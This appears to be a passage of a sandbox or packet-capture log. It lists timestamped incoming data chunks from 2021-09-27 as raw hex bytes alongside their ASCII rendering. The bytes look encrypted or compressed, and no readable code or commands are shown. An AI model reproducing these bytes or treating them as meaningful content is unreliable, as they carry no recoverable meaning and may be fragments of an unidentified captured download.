2021-09-27 16:55:59 UTC	51	IN	Data Raw: d4 5d 69 70 12 a0 93 54 9d a4 46 fd 34 b7 1a c6 76 b9 a1 fc 31 f0 f2 30 6d 38 e3 f0 37 45 f1 e7 9a 55 31 77 20 a2 64 77 ee f2 0a 98 1a 9f af ce 39 d8 23 56 d0 72 ed 2b 03 d1 98 4d 79 ca c8 68 fa 20 40 60 58 9a f4 76 cb 2d 44 9b 62 d2 fb 8e 51 56 96 3c 93 54 b1 9a a5 0e 8f 7b f9 a1 81 ec cc 1a b1 20 54 fb dd 71 5d 27 7f 29 be e3 54 6a 40 d2 1a dd 5c 3d 95 ca ef 0c fc 9a ae e4 dc 11 de 0a fb 1a e7 df f9 cc b8 bd 1e e8 3e 5a 4a 87 90 bc 89 9e 98 52 f9 00 8c 53 bd 27 a2 e1 b0 4b c8 52 60 52 fb 28 f8 e5 d3 8d 82 aa 96 4b 9b f9 a3 ff 37 af 88 9d b3 37 fa 7b 81 35 80 12 24 cc a9 14 3c 31 c8 8f 09 e7 36 74 5d fb dc a6 52 f0 e3 bc 19 58 7c 96 25 7e d0 2c f0 31 6d a5 17 61 bd c0 bc fb df e4 80 3a 01 d5 bc 63 38 89 3d f2 ab 9e 7d 5d e5 3c f8 b3 8d 91 c8 d0 9c cb 69 Data Ascii: ]ipTF4v10m87EU1w dw9#Vr+Myh @`Xv-DbQV<T{ Tq]')Tj@\=>ZJRS'KR`R(K77{5$<16t]RX\|%~,1ma:c8=}]<i
2021-09-27 16:55:59 UTC	52	IN	Data Raw: c5 b9 4c 80 9d 22 58 ee 6f 19 83 14 88 2e 6b e4 ce 0f 6d 93 c3 02 a8 51 e6 06 26 b7 24 90 49 6c 61 e9 0a d9 df fd 6a ea 6c c0 43 08 a9 44 b0 f3 3c 7f cd 15 3d 2c 32 c0 54 2a b7 f3 5a b3 32 84 c0 47 cd 17 be 2e d8 38 4a 3a 89 80 18 ef 99 51 8d 39 2f 48 5c fa dd 00 57 96 66 01 8c 52 ce ea 66 1b 1f 9c ea 6e b0 ae 42 4d 91 f7 ac e9 75 e3 ec 30 2f 16 ad 9c 2b 75 00 61 d9 5f 07 d1 b3 fd 4b 2a 21 17 11 60 80 48 4a 74 45 33 0f 2e 95 75 ac 9b 65 19 04 11 7b fa 46 cf b2 90 dc 17 eb 69 77 bb a8 f5 a3 d5 0e 32 61 d8 c8 a6 b2 8b 74 04 7b c5 69 cb 84 b7 22 dc c7 81 11 84 b1 b2 7a 98 42 ff e3 53 96 23 b7 cd 09 2c 48 32 c9 55 e2 27 4a f9 18 23 bf c3 ad f1 c9 10 a5 ea 3b 5c 8f 5e c2 c9 a6 c9 fa 5c 9f 0c 85 e5 1c 72 1d 17 d1 ba 87 a6 99 22 d6 43 44 37 ea f4 e8 84 99 ff ef Data Ascii: L"Xo.kmQ&$IlajlCD<=,2TZ2G.8J:Q9/H\WfRfnBMu0/+ua_K!`HJtE3.ue{Fiw2at{i"zBS#,H2U'J#;\^\r"CD7
2021-09-27 16:55:59 UTC	54	IN	Data Raw: 1f b1 31 07 e7 23 70 3b 2a 79 2b 71 2b 54 6a 5c e0 11 c0 4f 38 95 db ea 12 02 9b 84 d6 d4 13 14 11 94 f5 2e de f3 d3 bd 95 31 e9 24 50 49 80 9c e3 63 9e f0 59 d1 d5 f8 53 b7 57 f9 88 b1 4b c8 70 9c bd f8 22 d6 cd ad b1 88 a6 83 4a e7 4c a2 ee 38 bd 8a 0c 03 1a f3 78 83 3d a7 ad 30 f8 af 10 3c 20 dc 95 e6 ed 80 64 4e e1 c8 a2 2c 45 fd b0 ed 4a 55 85 0b 56 ed f7 fa ce 92 ad 2c 77 a5 2b bf 25 d8 8b 32 54 01 df 85 e9 2b 83 0f 2b ac 8f 7b 75 7b 37 e7 b6 5f 95 39 0f 8d c2 78 7d 28 9f 57 7a 52 67 27 89 19 16 b1 8a 83 75 90 07 15 7f 1e 4d fd 25 79 26 d4 b2 0e 58 19 38 4b b8 f2 db 60 65 dd d4 2c 7c f7 48 58 65 d6 eb 27 ed 41 9b 52 d7 41 ff 9c 6d 0a ca a1 83 3c 26 92 9c 44 87 da 5f 23 e5 4d 0a 8e 6a f9 49 ae 94 c2 58 59 8b 73 11 f8 07 74 b8 b4 0a f9 5d 73 29 48 9c Data Ascii: 1#p;*y+q+Tj\O8.1$PIcYSWKp"JL8x=0< dN,EJUV,w+%2T++{u{7_9x}(WzRg'uM%y&X8K`e,\|HXe'ARAm<&D_#MjIXYst]s)H
2021-09-27 16:55:59 UTC	55	IN	Data Raw: da 0a 73 e6 55 7f ac 45 4a 06 ce 35 64 c2 da c9 e7 fe e9 73 83 18 1d 33 9e 26 aa 0b cb d3 55 4b 3b 39 03 36 a6 81 64 49 92 56 ca da d6 a0 24 f3 89 65 08 16 0e 76 02 47 e3 ba 9a d5 04 fa 57 79 a8 ba e1 b2 c7 11 3a 9f d9 e5 b0 a3 81 62 c1 53 c5 6d 62 82 a1 0a fa c6 81 1b 9e 82 1b 65 91 51 ed e2 42 84 3c a1 35 08 00 42 02 c2 42 78 13 47 e6 0f 25 ad c3 bc f9 d6 32 5a f8 27 52 9e 75 d2 cf c9 9f f8 5c 88 05 b5 f1 36 8d 0c 05 ce a7 68 a0 af d6 c6 65 45 aa ed 0c f6 8c 74 ec e8 df ed fa 5d ef 77 d7 ca f8 10 23 c4 8c ff 68 f4 c1 86 bd 3a e9 8f b6 f1 d5 d9 2b b3 a4 9f d5 c4 57 fe 0d 41 4b 26 bd 7d 8b 3f f7 4f 58 a6 56 76 ea 56 2b 0b 85 fc 09 e8 07 d2 c6 49 b6 16 90 d3 ac 15 c4 f9 7d 6a 94 3c e6 6a 2f a7 1e 9c 5a c9 46 17 4c fe 76 19 21 b8 08 9d b5 a1 bf 2e 8a cd ac Data Ascii: sUEJ5ds3&UK;96dIV$evGWy:bSmbeQB<5BBxG%2Z'Ru\6heEt]w#h:+WAK&}?OXVvV+I}j<j/ZFLv!.
2021-09-27 16:55:59 UTC	56	IN	Data Raw: 29 05 e5 ae f7 e6 10 64 58 9b 63 a6 43 ff f1 98 df 59 50 9e d0 79 ee 00 06 e4 92 ec 21 72 8d c4 bc 25 de c5 80 55 01 10 af 75 2b 65 07 38 aa 8b 7d 5d f4 2c e7 bc 72 8b d4 dc 8d 41 7a 6c 2d cd a7 79 43 12 f2 3b 18 1c b1 8a 44 75 90 0b 69 91 0e 47 e6 33 55 cf eb b2 08 3d a6 11 65 b0 da 41 6c 1b eb c5 2a 5e ac 44 5c 63 c3 83 86 e9 69 60 5c de 28 21 2f 6c 00 d3 8c 16 53 19 98 8f 46 87 d9 64 d0 f0 5e 19 a7 7a d3 bb ad 85 d2 61 bf 12 60 18 bf d6 71 b8 b8 33 c5 74 57 23 60 a5 7d 69 2a eb b1 78 1b 76 1d c2 56 03 2a 3e 98 70 b5 65 0e 7e 94 f9 b5 13 a8 d4 9a 77 8b bc 2b 6b 47 f4 1e de 69 5d fc 38 23 98 b6 19 c5 0e e0 3a da 88 96 6b a9 24 85 de 34 ac de 08 8f 2c df b2 6c 39 60 19 97 1f 8f 78 df fb 84 bc bc 40 7a e4 83 74 14 db 01 1d 42 16 f1 76 8b 07 bb 56 2a 22 a7 Data Ascii: )dXcCYPy!r%Uu+e8}],rAzl-yC;DuiG3U=eAl^D\ci`\(!/lSFd^za`q3tW#`}ixvV>pe~w+kGi]8#:k$4,l9`x@ztBvV"
2021-09-27 16:55:59 UTC	57	IN	Data Raw: f1 59 be 1b b7 cb 03 f2 48 cd dd 70 ca 37 4b f9 12 25 b4 b0 17 eb c9 1a af d1 33 5f 8f 77 1d cb a0 91 fd 76 8e 1a 96 a3 10 8d 1d 17 d1 ba 96 1a 83 dc d7 2b 52 30 fe f5 e9 92 67 f1 e8 ce ff ff 4e 11 77 fb c3 e9 1a 32 5e 80 e0 76 e6 d3 86 bc 29 f6 ae 5d f0 f9 d5 20 bb ac f1 e6 f6 53 f8 7d 61 58 34 c1 6c 99 37 7a f4 74 af 2f c6 c2 78 23 01 99 e3 68 f3 17 c0 df 55 60 36 b8 c2 bb 31 88 30 7d 60 b6 06 dc 02 d7 70 c5 83 42 d0 7c 26 5d ec 63 16 c3 be 0c b1 a0 a9 a8 03 c6 eb ae fd f6 9d 0e 16 09 1e 1c 90 fa 21 7f d7 1e 07 a1 24 32 7d f4 6d 7d 03 99 91 3b 3b a0 5d 09 5a 23 13 fe d9 aa a8 c4 cf e2 f7 30 6e 34 dc b7 37 69 f8 ec 8d 23 13 64 25 bc 89 73 c5 ea 26 d9 a2 9e a9 c8 4f b5 27 56 cb 18 8f d4 02 f7 8e 51 4b b6 da 6d fa 23 4f 57 d1 65 f5 50 d0 2d 42 4b 40 ee f5 Data Ascii: YHp7K%3_wv+R0gNw2^v)] S}aX4l7zt/x#hU`610}`pB\|&]c!$2}m};;]Z#0n47i#d%s&O'VQKm#OWeP-BK@
2021-09-27 16:55:59 UTC	59	IN	Data Raw: e8 d0 c5 2a 55 97 41 49 6b d3 92 52 e8 69 6e f3 c6 4f 84 3a 44 c3 c1 89 15 2d 20 8c a7 65 92 dc 71 d1 6b 4a 0c 9f 6e c2 b3 bc 9c d2 67 26 03 73 17 96 7a 64 b0 aa 36 e2 95 72 23 6a be 53 72 06 c1 b3 50 33 63 90 c3 7e e6 2a 2d 9a 49 21 73 70 11 87 f5 a0 bd d6 38 8f 63 a9 66 2d 7a 41 8a d1 ca 41 7c 94 1b 25 8f 3b 1e c5 0e f1 69 89 b1 0f 7d be a2 be c9 e2 20 69 19 87 39 d8 97 8e 7e 71 03 97 1e 8c 78 15 fe 84 b0 b0 17 52 c8 92 78 11 c4 04 32 f0 06 62 54 2b 8b bb 5c 3a 36 b3 23 a8 cf b9 61 42 e4 46 cf a9 d2 23 cc 72 02 6f 9d 98 cc d6 51 f5 8f 28 4b f1 6d 15 b9 80 99 26 ef 58 07 c4 60 bd f4 02 83 4a f2 10 3a 94 ec a8 49 6a 78 3e 79 fc f7 fd 6c f8 76 d1 49 19 ac 79 6e 2d cf 79 b3 27 3f 2c 35 ca 6e 38 bc 95 7f b1 32 f4 d1 4d cd 6d 6b 08 da 32 46 03 9e ab c5 ea b1 Data Ascii: UAIkRinO:D- eqkJng&szd6r#jSrP3c~-I!sp8cf-zAA\|%;i} i9~qxRx2bT+\:6#aBF#roQ(Km&X`J:Ijx>ylvIyn-y'?,5n82Mmk2F
2021-09-27 16:55:59 UTC	60	IN	Data Raw: 4b 3d ac 65 b1 71 0b 4e 72 c0 0d ce ea 50 30 08 8e e8 74 cc 14 c0 df 4f 41 06 b9 ea bf 18 ab 36 12 4c 9c 24 de 13 d8 70 a2 87 42 dc 3b 3d 5f ec 6f 3d ce b0 4b 88 a5 a9 a4 f5 f0 ce 86 c0 de bf 00 05 05 45 82 90 fa 21 1c e3 27 07 a7 05 ea 0c 49 47 75 23 b3 96 54 cd bd 5d 03 35 9b 12 fe c1 b9 a1 fc 3b e2 f7 30 54 3c f4 0e 23 69 f2 ff 93 50 31 67 36 8a 9e 76 f6 fa 22 b6 99 9f a9 d3 36 d8 2d 6e 53 77 f0 d5 02 ec 96 42 8d d5 f7 64 d2 1f 47 7f 57 4e ef 49 c8 2b 42 46 72 33 f0 b1 17 76 87 3d 8c 5e c2 b0 89 06 87 6b 39 a0 88 ea e7 ac b1 31 51 f1 30 77 67 38 70 29 d8 45 b5 6b 4a ea 02 c8 46 2f 43 d6 c2 56 06 9b 84 c7 dc 7c 3c 11 94 ff f4 d5 e2 d9 be ba 75 c1 10 52 49 87 ad c8 75 95 98 49 da c2 73 52 9b 45 92 21 ba 4b d3 71 ac ad fa 0e de c3 bc 44 88 a6 83 58 d5 ea Data Ascii: K=eqNrP0tOA6L$pB;=_o=KE!'IGu#T]5;0T<#iP1g6v"6-nSwBdGWNI+BFr3v=^k91Q0wg8p)EkJF/CV\|<uRIuIsRE!KqDX
2021-09-27 16:55:59 UTC	61	IN	Data Raw: 68 7b 93 03 30 9e b6 08 c3 16 0e 7b ad a9 2f 45 ab 2e 34 c2 fb 32 cd 08 9e 2b d3 b5 b9 7e 5d 00 8f 09 9d 62 35 e5 8f a5 a0 9a 44 ce 8f 87 04 fc 1c 0b 57 0f 0d bf 5e 06 b1 50 25 36 b0 32 bc c0 b6 96 cd 7f 2f e1 bb d6 33 d3 5c 95 7e 9b 8c 3a b8 6a e9 88 2a 70 17 7d 11 9b 04 f8 0e 36 52 d9 df 6d 41 c2 02 89 68 c5 17 2e 95 cf 8f 40 79 74 e0 68 fd c6 03 6d d5 6a c0 4d 76 65 6c 6e f9 2f 7c be 2e 39 2c 25 d7 41 32 42 9d 52 b9 3b 95 07 40 c3 14 c2 0e da 29 4a 31 7d a9 e9 e9 8f 5a f9 00 2b 48 4b 22 cd d6 61 ba 6e 33 d5 95 31 15 71 d6 19 8d f6 7f 70 43 4e 70 9f f1 b1 61 c2 cd d9 d0 db 17 72 a5 0c 76 32 59 f7 aa eb 22 e8 00 4a 2a 21 34 7e 59 80 42 47 82 21 34 25 23 d0 23 e1 9b 6f 31 62 10 7b f6 29 d8 b3 8b d6 3d eb 48 6c 8b ac e1 3e d4 0e 28 e4 d8 c9 b7 c1 31 74 5b Data Ascii: h{0{/E.42+~]b5DW^P%62/3\~:jp}6RmAh.@ythmjMveln/\|.9,%A2BR;@)J1}Z+HK"an31qpCNparv2Y"J!4~YBG!4%##o1b{)=Hl>(1t[
2021-09-27 16:55:59 UTC	63	IN	Data Raw: 5e fc 2d e3 6b 21 7b 22 d5 18 aa 78 f5 e0 ab 46 ad 77 22 a5 b9 60 5e ea 25 a9 3c bf 29 c2 20 cb ba 47 c6 68 d5 c3 9e ec 9a 44 55 f4 5b 6d fa 31 d9 6e 56 7b d2 4c 5f 3a 54 52 40 ed 71 9d 54 56 1b 28 8b 41 66 bb 09 06 86 61 b3 bd 99 f8 f5 09 2d 20 56 f8 08 66 ed 3a 7e 34 fd 3c c8 7b 4d ff 3c e0 cf 38 95 db 76 03 05 84 ac f6 2b 13 d7 10 08 e4 e0 c0 dc c5 34 84 36 f6 0e 70 c9 81 87 d3 fa 8f 9f 47 e0 c3 11 42 b0 59 b8 12 4e 4b c2 7a 28 42 fc 3d e3 d7 4f 9c 8f b9 bd 62 08 fc a3 ee ae a1 84 7c 87 3b 73 72 90 31 2d af 3c df 8c 31 bc 20 cd 99 6b f7 1d 68 7d fe 45 b7 44 ea c4 af b2 c5 41 93 11 42 f7 44 93 df 95 b2 07 6d ec 58 ad 22 c1 df 9f 37 9d c4 aa 6a 17 9c 69 a4 bb 99 62 60 eb 53 7b ad 74 8f da c4 ad 5e 69 6b 32 88 b8 0d ce 70 4f 24 58 09 d4 3e 0e 72 8f 4c 19 Data Ascii: ^-k!{"xFw"`^%<) GhDU[m1nV{L_:TR@qTV(Afa- Vf:~4<{M<8v+46pGBYNKz(B=Ob\|;sr1-<1 kh}EDABDmX"7jib`S{t^ik2pO$X>rL
2021-09-27 16:55:59 UTC	64	IN	Data Raw: 47 95 c5 11 89 5a 6c 02 2e 9f c5 83 53 7b 68 f6 51 a0 d9 fd 6a 5b 77 cb 5e 31 f0 68 6e f5 9e 68 b8 25 17 71 30 d1 58 99 ad 86 67 99 6c 86 d1 4b 7e 0f cb 1b d3 10 62 29 83 ae d6 eb 88 5e f1 06 3b 5b 4e 0f e0 39 75 87 72 91 b7 67 df ef 7d c8 70 3f e6 79 6c 91 56 4d 99 f7 af 08 70 dd df c5 a4 fb 73 89 15 4e 3b 70 d5 7d ed dd c0 41 58 2d 3a 08 2e 8e 93 5c 51 be 56 20 ab 9e 8d f3 f1 9e 4d 43 00 11 7d 93 f4 ce b2 81 f4 06 eb 48 7d a8 a0 f0 ab ba 7d 29 61 d2 19 b3 b2 8b 75 73 6f c5 69 68 b7 a4 33 de d7 89 39 14 b1 b2 70 ed 66 fd e2 55 ae 99 b7 cb 09 3d 4e 07 e0 d1 e0 00 4d ee 95 31 bf c3 ac f8 df 01 b2 ef 1a 57 a7 6c c3 c9 ac 19 eb 4a 9d 0d 87 f5 30 99 0a 9a fe ba 96 a0 90 c4 c6 77 44 27 62 1b f1 ba c4 fe e8 c4 ee fd 58 81 5a f0 d2 fe 0c ae 76 91 e0 7c ed c0 8e Data Ascii: GZl.S{hQj[w^1hnh%q0XglK~b)^;[N9urg}p?ylVMpsN;p}AX-:.\QV MC}H}})ausoih39pfU=NM1WlJ0wD'bXZv\|
2021-09-27 16:55:59 UTC	65	IN	Data Raw: c0 4f 39 86 d5 fc 01 0f 8d 91 c5 fc 3d d5 10 92 e6 e8 c9 e0 c7 db b7 33 e9 38 43 59 90 96 c7 4e f5 9c 58 d7 cc 00 54 b7 46 8b 21 93 5a e0 6c a5 5d d3 33 d0 c1 d9 2f 99 84 9e 54 04 c3 a3 ee 33 12 92 41 aa 0a e1 5a 81 31 b1 b4 99 d1 98 02 1f 31 ee 8d e3 ff 97 58 4a e8 d8 b5 67 e4 d8 a6 f0 c5 41 b0 19 6d 74 3b 2b d6 85 31 2c 56 9a ec 1b 25 de ee a6 44 25 c3 3d 59 20 92 26 2e 30 b6 6c 5d f4 3c f4 b2 62 b4 fc 4b a1 c9 69 4f 35 2d 8f 68 52 61 42 28 0a 07 aa b6 37 f6 92 0d 00 63 82 40 ec 20 50 a5 c3 a6 1f 1f 0c 39 4b b8 fc 56 71 71 ff a9 2e 54 82 5f d5 64 c5 ec 37 fc 7d 7e 46 ff e0 90 2e 66 2c d1 87 08 b1 21 98 8f 4d 85 ff 66 e5 f0 5b 80 a0 6f d1 ba 0f 85 e7 64 82 27 73 17 9d f8 a5 b8 be 22 46 63 73 23 61 b9 7d 97 2f eb bd 7c 30 62 0e d0 55 e5 3c 2d 86 4e 38 77 Data Ascii: O9=38CYNXTF!Zl]3/T3AZ11XJgAmt;+1,V%D%=Y &.0l]<bKiO5-hRaB(7c@ P9KVqq.T_d7}~F.f,!Mf[od's"Fcs#a}/\|0bU<-N8w
2021-09-27 16:55:59 UTC	66	IN	Data Raw: 02 64 08 b3 9c 79 9d b0 52 2b 65 9f 12 f8 bc a0 a0 fc 27 da 33 30 7c 3d e5 18 29 60 24 ec 91 41 25 70 16 eb 8b 60 da 2d 31 ae 33 d6 b8 d2 33 ec 37 71 d0 50 9f f6 00 fd 9b 4a 7d c3 56 6a fa 31 44 6c 73 75 d7 4c d2 33 df 72 68 cd f0 3f 45 74 93 11 23 5e 4f 91 a1 5c 86 61 25 84 74 e6 df 15 99 e5 50 e7 29 58 55 2b 79 21 be 0e 56 6a 4c f1 09 d7 99 2b 8d ca e4 05 8f 9c 82 d6 d5 00 f1 01 b2 e3 f6 c7 7f ec a8 95 30 4b 2f 76 5d a9 28 d3 66 94 87 78 5d ea 8d 53 b6 50 a2 87 b1 4b c8 56 9b 42 f5 35 5d c6 d3 8d 89 b5 aa 53 ab ea b2 f6 be 8f 83 63 b3 b9 e2 51 84 19 1e be 3b ca a5 6e b0 1f cd 99 f6 f0 32 85 4b e8 d3 9c 1f 0a 03 4f f0 4a 5d 85 16 68 fe 12 ad cf 92 ad 2c 7f b4 5f bd 25 de f5 93 6c 95 d4 ad 75 3a 8c 2d af a9 9e 7b 32 ed 37 e7 b6 5e 81 f5 d4 a5 b2 7c 6c 2b Data Ascii: dyR+e'30\|=)`$A%p`-1337qPJ}Vj1DlsuL3rh?Et#^O\a%tP)XU+y!VjL+0K/v](fx]SPKVB5]ScQ;n2KOJ]h,_%lu:-{27^\|l+
2021-09-27 16:55:59 UTC	67	IN	Data Raw: 49 dc b7 22 58 ff a2 11 97 36 99 67 f9 53 d9 d5 45 95 c3 04 83 40 e1 07 2c 9f c4 86 4b 6a 72 ef 79 fb dd e7 6c f9 67 ca 79 1a ac 40 6e f3 3c 63 a2 3d 2e 2e 37 f9 2a 3b bc 96 7b a6 e4 18 da 4a d8 36 a5 08 da 32 5a b1 89 76 d7 c4 ae 57 e2 19 05 66 58 24 d7 22 48 ae 66 0b ae b4 ce ec 46 c4 0f 8d e7 79 66 bd 4f 44 84 e6 b0 7d c2 dc de dc e0 eb 73 a0 0e 5d 37 64 d9 55 05 cb cb 6c 50 2a 2c 0b c7 59 ac 4a 58 a1 47 32 33 d7 be 18 e2 8c 6e 19 03 09 85 fd 6a cd 99 89 f7 f4 e9 4b 18 26 a8 e1 a9 ff 0e 28 61 c3 f9 a3 b2 33 75 5b 7b 48 69 62 95 9f 0c d6 c6 87 1a fb 0b b2 7a 88 48 e0 f8 7b 2d 23 b7 c1 1a 29 60 3d ca 55 e4 0c 63 d7 1a 36 b9 d0 a9 fa cc 38 d0 fd 0b 59 a7 59 c3 c9 ac 93 cb 5c 8e 10 ba f2 35 88 35 63 d5 ba 90 89 a7 dc d7 65 41 35 d5 0c 9a 28 67 fe e2 e4 d7 Data Ascii: I"X6gSE@,Kjrylgy@n<c=..7;{J62ZvWfX$"HfFyfOD}s]7dUlP,YJXG23njK&(a3u[{HibzH{-#)`=Uc68YY\55ceA5(g
2021-09-27 16:55:59 UTC	68	IN	Data Raw: 50 50 e7 29 7d 78 44 8c 2a d1 20 47 6c 48 c8 77 c1 4f 32 86 de fb 14 13 9e 94 c7 d1 9d 60 7f 62 f4 e7 d5 f8 d4 bf 4f 26 3f b3 0f 49 81 86 df 77 98 89 5d c7 c4 88 dd 00 4e 9c 5d 46 4a c2 70 92 5b 88 da d1 c1 d9 9e 8c b7 8d 48 56 ed 86 c6 05 b0 83 69 a1 1c e7 78 b8 09 b1 be 31 1e ba 17 16 20 cd 99 f6 f6 1a 77 4a e8 d9 a6 0d bb fc a1 fd 59 50 95 1d 4b ea 2a 3d ce 92 ad ac 72 8d d5 aa 2e f5 ff 80 52 16 2b ac 59 29 9b 0e 38 ad 88 83 5c d8 34 f0 b7 73 97 fc 25 8c ee 7a 47 2f 9c 44 51 c5 61 48 31 1a 3e dd a3 1f 7f ff 1a 07 75 05 6d ec 20 4a 81 d4 b2 ce 36 ab 39 d9 b2 da 56 13 df d7 c5 20 5e ac 67 5a 63 c3 ff 32 c0 47 68 51 d1 4b e3 35 6d 0a c6 82 37 1d 22 98 89 64 b5 dc 77 cc ce 35 08 9f 69 f9 9f ad 94 ce 58 9b 88 73 1d bb c4 72 90 9f 26 ca 5a 5b 00 60 af 5f 4e Data Ascii: PP)}xD* GlHwO2`bO&?Iw]N]FJp[HVix1 wJYPK*=r.R+Y)8\4s%zG/DQaH1>um J69V ^gZc2GhQK5m7"dw5iXsr&Z[`_N
2021-09-27 16:55:59 UTC	70	IN	Data Raw: 8d ed 16 9b bc 4f 56 8a ee cd 99 c3 dc d5 d8 0a fa 61 9a 0a 65 10 60 d9 55 6a 22 c1 47 41 22 3a 18 56 58 82 48 4a d1 46 37 25 23 d0 84 e1 9b 6f 0a 03 00 7c d1 64 b1 8e 8b dc 1d e3 59 73 d4 a8 e3 a3 df 75 29 63 d8 c3 c9 02 8a 74 51 68 c2 78 65 a9 b2 1a 36 c6 81 11 9e 3c 99 7a 82 43 ec e7 42 91 2b a6 cf 66 2c 4a 13 c2 2e e0 02 4b f3 77 84 be c3 a7 c3 d8 10 a4 f3 18 59 9e 7b ee cc 7b 0d fa 5c 8e 0b 90 8d 57 8c 1d 1d 01 af 96 a1 82 f4 c3 6f 52 3a cd 1a f8 94 4f 62 e8 ce f5 cd 47 10 76 fd d0 ec 31 3d 4f 86 94 6e e7 d3 9d bf 2d e7 ab 60 f8 f8 d5 3c a8 a4 e1 f5 ee cb f8 12 69 70 bb bc 6c 93 0b 6c 3d 56 ad 25 ca f9 5f 30 08 97 fe 1f 87 16 c2 d9 54 33 14 be c2 b7 76 81 32 7d 6c 8f 2d c9 0a c5 70 6b 87 42 dc 42 9a 5a ec 69 3b cb ad 30 b8 07 a9 ae 21 cd 77 ae f7 d4 Data Ascii: OVae`Uj"GA":VXHJF7%#o\|dYsu)ctQhxe6<zCB+f,J.KwY{{\WoR:ObGv1=On-`<ipll=V%_0T3v2}l-pkBBZi;0!w
2021-09-27 16:55:59 UTC	71	IN	Data Raw: ae f9 fe f7 1c e6 55 c8 86 bf 20 95 f5 a1 e1 c8 4f d4 51 60 8b 4a 06 df 94 3c 1d f2 8d c4 bc 7a c3 87 e0 e1 9d ca bd 66 23 83 14 30 b1 60 7c 71 fd 27 e0 a4 6c fb 78 c7 9e ca 78 7d 25 af 59 78 7e 6a 56 b6 33 16 bb a3 0c 72 89 1e 0e 75 1e 4f f5 de 50 9d de a3 0f 21 b4 2e d7 a8 c9 4f 60 74 df da 39 aa 85 65 52 10 c1 ee 36 e2 65 75 45 c4 4f 90 3f 64 15 d6 77 1e 10 2b 90 86 58 f9 d9 75 c6 ec 47 13 88 7c d9 bb bc 9c db 67 54 89 5f 04 91 da 63 ba 30 95 db 59 65 4c 66 ad 55 6c 08 f4 af 43 3d 74 0c cc 61 f7 d5 3f be 54 38 63 13 4a 9a 0a 5b e0 d8 22 88 7f 81 be 24 65 59 65 d6 f2 6e 46 94 16 3c 8b a5 11 c5 1f f8 65 8a 5e 06 47 ae 3f 35 c4 fd 2d d8 00 8f 3c c4 a0 52 81 70 25 8d 10 80 3f 10 fb 84 bc b9 8c 46 c0 92 68 0d cf 04 e4 52 2a 69 56 48 69 91 5d 3b 2f a9 27 be Data Ascii: U OQ`J<zf#0`\|q'lxx}%Yx~jV3ruOP!.O`t9eR6euEO?dw+XuG\|gT_c0YeLfUlC=ta?T8cJ["$eYenF<e^G?5-<Rp%?FhR*iVHi];/'
2021-09-27 16:55:59 UTC	72	IN	Data Raw: 9e 37 9f 53 0d 2c 4e 05 45 52 e2 00 4a ed 0c 22 97 60 ad eb c3 04 8c 2f 08 5f 89 6b 4e ce a6 bb fb 48 9a 0e be 41 24 8d 17 3f 4d ba 96 ab ab 45 d3 6f 54 18 f1 0b e9 94 74 f4 f9 c5 d7 6a 4f 11 7c d6 fc f8 10 1c d1 81 e0 76 ca e5 f5 8e 2a f6 a8 5b fc e8 d9 12 2c a8 f0 fb a9 7d fa 12 65 49 38 ac 67 f6 02 0b 4e 72 be 29 dd e0 39 07 03 9f e9 0a e4 07 c9 b6 76 4a 17 ba c4 ac 15 c4 28 7c 6a 94 fa d7 27 f9 6f e1 83 48 c9 59 3f 65 ec 69 30 01 b9 35 95 b3 7f bd 2e f4 ee bf f8 e0 14 f4 e9 f0 e8 29 b5 d2 1c 10 cb 15 14 a9 09 39 26 76 6d 7d 03 6d 94 52 a6 a8 77 03 35 da 26 fe d3 b9 a1 fc 2d 69 f7 30 7c 0a f5 0e 36 a8 f3 ff 89 5f 31 66 25 a0 9a 76 c3 fb 22 b6 18 d4 a9 c2 20 5d 27 56 c1 96 f1 d5 02 ec 9d 5b 73 ce db 6d fb 2a 75 78 51 c6 f5 5a c3 b1 53 4d 79 db f2 f2 dc Data Ascii: 7S,NERJ"`/_kNHA$?MEoTtjO\|v[,}eI8gNr)9vJ(\|j'oHY?ei05.)9&vm}mRw5&-i0\|6_1f%v" ]'V[smuxQZSMy
2021-09-27 16:55:59 UTC	73	IN	Data Raw: 59 3b 5a 9b 44 47 08 59 fd 38 f7 67 75 1d 4b 56 9e 31 63 2a 2b 89 1f 3c ba 89 81 5f 93 db 04 4b e7 4d 0a 8c 6b 0f af 88 bc f3 70 aa 82 60 11 91 d4 5d 80 be 22 c0 81 b4 23 60 af 44 62 06 bf b3 50 33 1b 9a c5 7e e0 3d c0 93 49 2d 0a 86 75 87 f3 b2 e1 c5 26 65 76 e1 83 2e 7c 61 8d c6 da 06 df 91 1b 25 8f 6c 0a ca 1d f9 42 09 a0 07 6b b8 2a 23 c0 ca bc cf 08 89 42 46 be 47 79 62 01 97 1c 89 59 11 0c 87 b6 a0 f5 df c9 92 7f 16 dd 01 1e 42 0f 4a c0 5b 06 bd 33 b1 24 b6 34 be c1 dc 60 ce 53 2f f0 a4 fa be c0 5a 9f 7e 91 83 c3 91 20 f5 8f 28 51 e4 79 7e 9b 1e 99 20 8a 44 d8 d5 4f 86 c9 71 a1 42 e1 11 3d 94 d5 9b 61 f5 76 e0 7f 94 f7 ff 6c ff 77 da 58 14 c3 48 6c f3 3a 68 a9 2c 35 43 12 d3 5e 3d ad 97 6f b9 5d aa d3 4d da 0f d8 1f 0c 2b 45 3a 8a b9 ca d2 f6 a8 1d Data Ascii: Y;ZDGY8guKV1c+<_KMkp`]"#`DbP3~=I-u&ev.\|a%lBk#BFGybYBJ[3$4`S/Z~ (Qy~ DOqB=avlwXHl:h,5C^=o]M+E:
2021-09-27 16:55:59 UTC	75	IN	Data Raw: 92 6c 99 27 1a 5f 65 be 33 db 76 47 30 16 b7 48 1b e8 1c e6 c8 4f 5e 87 90 dd ac 09 bd aa 55 7b 9e 24 d2 d2 c4 58 e1 82 6a ce 54 17 57 c4 5d 3b df b3 50 85 a4 a9 af 38 e0 fa a9 e3 f6 1a 0e 16 09 21 b5 97 fa 2b 11 d8 0f 16 b7 19 1c a8 4a 6d 7b ab a2 86 40 98 b5 75 a0 35 9b 18 ea fb 1e a5 fc 2b f5 7a 37 7c 3d f5 1a 22 7d da 5c 89 50 3b 4e b9 ba 9a 7c d1 f2 33 b1 0c b7 0c c6 20 cd 31 db c6 77 f0 d4 11 ed 8c 4b 65 fc 73 69 fa 37 e7 6e 41 70 e1 4e eb 88 53 4d 62 d9 d9 3a 50 56 81 2f 01 59 4f 9b 88 12 92 75 07 0f 9e e7 d5 37 2d 31 51 ed 30 78 60 22 55 72 c0 23 7c e5 4b e0 1b ed 1f 29 9d f7 a6 03 0a b3 0d d7 d4 19 fa 53 e7 d7 e5 df f5 c0 a2 84 3b f8 37 78 5e 80 87 d5 09 ba 9a 58 d7 c4 87 42 bf 6e 9d 33 b1 4d ad 5c b6 53 fd 33 da e9 72 89 88 